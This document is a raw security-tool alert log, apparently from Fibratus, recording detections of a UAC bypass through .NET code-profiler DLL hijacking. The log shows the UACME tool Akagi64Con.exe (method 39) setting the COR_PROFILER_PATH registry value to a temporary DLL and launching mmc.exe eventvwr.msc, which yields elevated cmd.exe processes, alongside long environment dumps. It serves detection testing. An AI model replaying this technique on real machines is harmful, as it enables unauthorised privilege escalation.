POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 61689 + Pid: 17936 + Tid: 5428 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:22:00.9385099 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 383313000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808ffb4da080, name➜ cmd.exe, pid➜ 10960, ppid➜ 17936, real_ppid➜ 17936, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:22:00.9384599 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 17936 + Ppid: 6152 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:22:13+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 62683 + Pid: 872 + Tid: 13436 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:22:12.1611876 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 872 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 63131 + Pid: 8324 + Tid: 9720 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:22:12.8227913 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 41bb62000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808002a86080, name➜ cmd.exe, pid➜ 9164, ppid➜ 8324, real_ppid➜ 8324, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:22:12.8227426 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8324 + Ppid: 872 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:22:20+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 63766 + Pid: 2784 + Tid: 10380 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:22:20.0777698 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 2784 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} 